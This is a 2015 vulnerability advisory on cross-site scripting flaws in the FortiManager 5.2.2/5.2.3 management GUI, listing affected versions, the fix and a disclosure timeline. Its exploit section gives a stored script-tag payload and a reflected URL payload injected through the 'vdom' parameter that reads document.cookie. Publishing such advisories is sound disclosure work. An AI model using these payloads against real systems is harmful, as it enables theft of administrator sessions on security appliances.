FortiManager 5.2.2 Cross Site Scripting

`[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/AS-FORTIMANAGER-XSS-0924.txt  
  
  
  
Vendor:  
================================  
www.fortinet.com  
  
  
  
Product:  
================================  
FortiManager v5.2.2  
  
FortiManager is a centralized security management appliance that allows you  
to  
centrally manage any number of Fortinet Network Security devices.  
  
  
Vulnerability Type:  
===================  
Multiple Cross Site Scripting ( XSS ) in FortiManager GUI  
http://www.fortiguard.com/advisory/multiple-xss-vulnerabilities-in-fortimanager-gui  
  
  
  
CVE Reference:  
==============  
Pending  
  
  
  
  
  
Vulnerability Details:  
=====================  
  
The Graphical User Interface (GUI) of FortiManager v5.2.2 is  
vulnerable to two reflected Cross-Site Scripting (XSS) vulnerabilities.  
2 potential XSS vectors were identified:  
  
* XSS vulnerability in SOMVpnSSLPortalDialog.  
* XSS vulnerability in FGDMngUpdHistory.  
  
The Graphical User Interface (GUI) of FortiManager v5.2.3 is vulnerable to  
one  
reflected XSS vulnerability and one stored XSS vulnerability.  
2 potential XSS vectors were identified:  
  
* XSS vulnerability in sharedjobmanager.  
* XSS vulnerability in SOMServiceObjDialog.  
  
Affected Products  
  
XSS items 1-2: FortiManager v5.2.2 or earlier.  
XSS items 3-4: FortiManager v5.2.3 or earlier.  
  
  
Solutions:  
===========  
No workarounds are currently available.  
Update to FortiManager v5.2.4.  
  
  
Exploit code(s):  
===============  
  
1- Persistent:  
https://localhost/cgi-bin/module/sharedobjmanager/firewall/SOMServiceObjDialog?devGrpId=18446744073709551615&deviceId=18446744073709551615&vdom=&adomId=3&vdomID=0&adomType=ems&cate=167&prodId=0&key=ALL&catetype=167&cate=167&permit_w=1&roid=189&startIndex=0&results=50  
  
<div class="ui-comments-div"><textarea id="_comp_15" name="_comp_15"  
class="ui-comments-text" cols="58" maxlength="255"  
maxnum="255" placeholder="Write a comment"  
rows="1"><script>alert(666)</script></textarea><label  
class="ui-comments-remaining">  
  
  
2- Reflected  
https://localhost/cgi-bin/module/sharedobjmanager/policy_new/874/PolicyTable?vdom=%22%27/%3E%3C/script%3E%3Cscript%3Ealert%28%27[XSS%20FortiManager%20POC%20VM64%20v5.2.2%2008042015%20]\n\n%27%2bdocument.cookie%29%3C/script%3E  
  
  
  
Disclosure Timeline:  
=========================================================  
Vendor Notification: August 4, 2015  
September 24, 2015 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Remote & Local  
  
  
  
Severity Level:  
=========================================================  
Medium (3)  
  
  
  
  
Description:  
==========================================================  
  
  
Request Method(s): [+] GET  
  
  
Vulnerable Product: [+] FortiManager v5.2.2 & v5.2.3 or earlier  
  
  
Vulnerable Parameter(s): [+] vdom, textarea field  
  
  
Affected Area(s): [+] sharedobjmanager, SOMServiceObjDialog  
  
  
===========================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
  
by hyp3rlinx  
`